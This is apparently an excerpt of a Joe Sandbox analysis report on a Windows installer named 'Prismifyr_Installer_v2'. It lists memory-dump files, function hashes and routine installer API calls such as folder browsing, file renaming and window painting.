Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 21818fa51d6b588aeca07265a4b81a3a3b935111f3ce34767c97606af49217ff
Instruction ID: 350e9793ba1948ff1935c4af006ad7833f39553502bf8ecbcf91bc97059cc7bb
Opcode Fuzzy Hash: 21818fa51d6b588aeca07265a4b81a3a3b935111f3ce34767c97606af49217ff
Instruction Fuzzy Hash: 4C0281B0900209AFDB10DFA4DD85AAE7BB5FB44314F10417AF614BA2E1C7799D92CF58

Function 00404722 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404771
SetWindowTextW.USER32(00000000,?), ref: 0040479B
SHBrowseForFolderW.SHELL32(?), ref: 0040484C
CoTaskMemFree.OLE32(00000000), ref: 00404857
lstrcmpiW.KERNEL32(Remove folder: ,00450248,00000000,?,?), ref: 00404889
lstrcatW.KERNEL32(?,Remove folder: ), ref: 00404895
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004048A7

Part of subcall function 00405904: GetDlgItemTextW.USER32(?,?,00002000,004048DE), ref: 00405917

Part of subcall function 0040654E: CharNextW.USER32(?,*?|<>/":,00000000,00000000,004DF000,004DF000,004CB000,0040336A,004DF000,76233420,004035D9,?,00000006,00000008,0000000A), ref: 004065B1
Part of subcall function 0040654E: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004065C0
Part of subcall function 0040654E: CharNextW.USER32(?,00000000,004DF000,004DF000,004CB000,0040336A,004DF000,76233420,004035D9,?,00000006,00000008,0000000A), ref: 004065C5
Part of subcall function 0040654E: CharPrevW.USER32(?,?,004DF000,004DF000,004CB000,0040336A,004DF000,76233420,004035D9,?,00000006,00000008,0000000A), ref: 004065D8

GetDiskFreeSpaceW.KERNEL32(00440218,?,?,0000040F,?,00440218,00440218,?,00000001,00440218,?,?,000003FB,?), ref: 0040496A
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404985

Part of subcall function 00404ADE: lstrlenW.KERNEL32(00450248,00450248,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B7F
Part of subcall function 00404ADE: wsprintfW.USER32 ref: 00404B88
Part of subcall function 00404ADE: SetDlgItemTextW.USER32(?,00450248), ref: 00404B9B

Strings

A, xrefs: 00404845
<#j, xrefs: 00404728
Remove folder: , xrefs: 00404883, 00404888, 00404893

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: <#j$A$Remove folder:
API String ID: 2624150263-3851121467
Opcode ID: d9ff5aa2ff53ffbe0c3723e23dc604a8a31f393e15f5d8e1a009d79f52351d08
Instruction ID: aec38ac33e169681c2ce75898e964705c21f391e9d8eef84a8e49708370a7c65
Opcode Fuzzy Hash: d9ff5aa2ff53ffbe0c3723e23dc604a8a31f393e15f5d8e1a009d79f52351d08
Instruction Fuzzy Hash: 0CA173B1900208ABDB11AFA5CD45AAF77B8EF84314F10847BF605B62D1D77C99418F6D

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 54b460b755f9bf27e46ac1d39a8a1124328dc74cebdc85c095498b08f8838b6a
Instruction ID: 11d43fc069a5ea90b0fea77c2c23c6da8a8dfc92bb9fdb714ff4c9b8b345b962
Opcode Fuzzy Hash: 54b460b755f9bf27e46ac1d39a8a1124328dc74cebdc85c095498b08f8838b6a
Instruction Fuzzy Hash: 9BF08271A14104EFDB00EBA4DA499ADB378EF04314F6045BBF515F21D1DBB45D909B2A

Function 00406B15 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9639f9c0007cb4c124acbb6985d7f6f1a05031d6bc3fffd11e08744ca1378656
Instruction ID: 703def0becceeecb9d8561ea32c53bcab4b84ebc773a8a1d0b412cad538f794c
Opcode Fuzzy Hash: 9639f9c0007cb4c124acbb6985d7f6f1a05031d6bc3fffd11e08744ca1378656
Instruction Fuzzy Hash: 1EE1797190470ADFDB24CF99C880BAAB7F5FF44305F15852EE497A7291E378AA91CB04

Function 004072EC Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e4e8af0329ccb159007ad6c77c0af05cb35f857c46231da8f5d0a1659340364
Instruction ID: 59779062152899835760f0dc2f5c49596223a290c6efd11eddd93cbc7c663e45
Opcode Fuzzy Hash: 0e4e8af0329ccb159007ad6c77c0af05cb35f857c46231da8f5d0a1659340364
Instruction Fuzzy Hash: 0FC15831E04219DBDF18CF68C8905EEBBB2BF88314F25866AC85677380D734A942CF95

Function 004043F0 Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040448E
GetDlgItem.USER32(?,000003E8), ref: 004044A2
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004044BF
GetSysColor.USER32(?), ref: 004044D0
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004044DE
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004044EC
lstrlenW.KERNEL32(?), ref: 004044F1
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004044FE
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404513
GetDlgItem.USER32(?,0000040A), ref: 0040456C
SendMessageW.USER32(00000000), ref: 00404573
GetDlgItem.USER32(?,000003E8), ref: 0040459E
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004045E1
LoadCursorW.USER32(00000000,00007F02), ref: 004045EF
SetCursor.USER32(00000000), ref: 004045F2
LoadCursorW.USER32(00000000,00007F00), ref: 0040460B
SetCursor.USER32(00000000), ref: 0040460E
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040463D
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040464F

Strings

gC@, xrefs: 004045FA
<#j, xrefs: 0040454C
Remove folder: , xrefs: 004045CD
N, xrefs: 0040458C

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: <#j$N$Remove folder: $gC@
API String ID: 3103080414-3684374134
Opcode ID: 96cce4fce431ccadf5917f17b99feddee1f1d895ae547b1ae29d71d99e1dfbb5
Instruction ID: 3402c350d7270d9961c63d8365249516a5ebc70a9ec23ab72cb453283ebd69b0
Opcode Fuzzy Hash: 96cce4fce431ccadf5917f17b99feddee1f1d895ae547b1ae29d71d99e1dfbb5
Instruction Fuzzy Hash: 7761BEB1900209BFDB009F60DD85EAA7B69FB85305F00843AF705B62D0D77D9961CF99

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00472EE0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: bf214f377d6857cb708af565e6f61848071267d92be3f24c40ffd1659e9a65ef
Instruction ID: 4eb8147a30471c2b969484520d7d1b1c24976f3a1718a772f7b725b3b94c1b26
Opcode Fuzzy Hash: bf214f377d6857cb708af565e6f61848071267d92be3f24c40ffd1659e9a65ef
Instruction Fuzzy Hash: 5C418A71800249AFCF058FA5DE459AF7BB9FF44314F00842AF991AA1A0C778D954DFA4

Function 00405F06 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004060A1,?,?), ref: 00405F41
GetShortPathNameW.KERNEL32(?,004688E8,00000400), ref: 00405F4A

Part of subcall function 00405D15: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D25
Part of subcall function 00405D15: lstrlenA.KERNEL32(00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D57

GetShortPathNameW.KERNEL32(?,004690E8,00000400), ref: 00405F67
wsprintfA.USER32 ref: 00405F85
GetFileSize.KERNEL32(00000000,00000000,004690E8,C0000000,00000004,004690E8,?,?,?,?,?), ref: 00405FC0
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405FCF
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406007
SetFilePointer.KERNEL32(0040A560,00000000,00000000,00000000,00000000,004684E8,00000000,-0000000A,0040A560,00000000,[Rename],00000000,00000000,00000000), ref: 0040605D
GlobalFree.KERNEL32(00000000), ref: 0040606E
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00406075

Part of subcall function 00405DB0: GetFileAttributesW.KERNELBASE(004E7000,00402F1D,004E7000,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405DB4
Part of subcall function 00405DB0: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DD6

Strings

[Rename], xrefs: 00405FEF, 00406001
%ls=%ls, xrefs: 00405F7B

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: b694a888aaf83b7fce4c3b5560ec35c5a1d29ec5cfaa1e3dee45fb0367e4abd5
Instruction ID: 1ccef14564d3a4e3590f6d96bf23d62cdd24cd7414a0bd79904b9c13782922cd
Opcode Fuzzy Hash: b694a888aaf83b7fce4c3b5560ec35c5a1d29ec5cfaa1e3dee45fb0367e4abd5
Instruction Fuzzy Hash: 08312530641B05BBC220AB659D48F6B3AACDF45744F15003FFA42F72C2EB7C98118AAD

Function 00405322 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,00000000,0042CE00,762323A0,?,?,?,?,?,?,?,?,?,0040327A,00000000,?), ref: 0040535A
lstrlenW.KERNEL32(0040327A,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,00000000,0042CE00,762323A0,?,?,?,?,?,?,?,?,?,0040327A,00000000), ref: 0040536A
lstrcatW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,0040327A,0040327A,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,00000000,0042CE00,762323A0), ref: 0040537D
SetWindowTextW.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\), ref: 0040538F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053B5
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053CF
SendMessageW.USER32(?,00001013,?,00000000), ref: 004053DD

Strings

Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\, xrefs: 00405343, 00405353, 00405359, 0040537C, 00405388

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

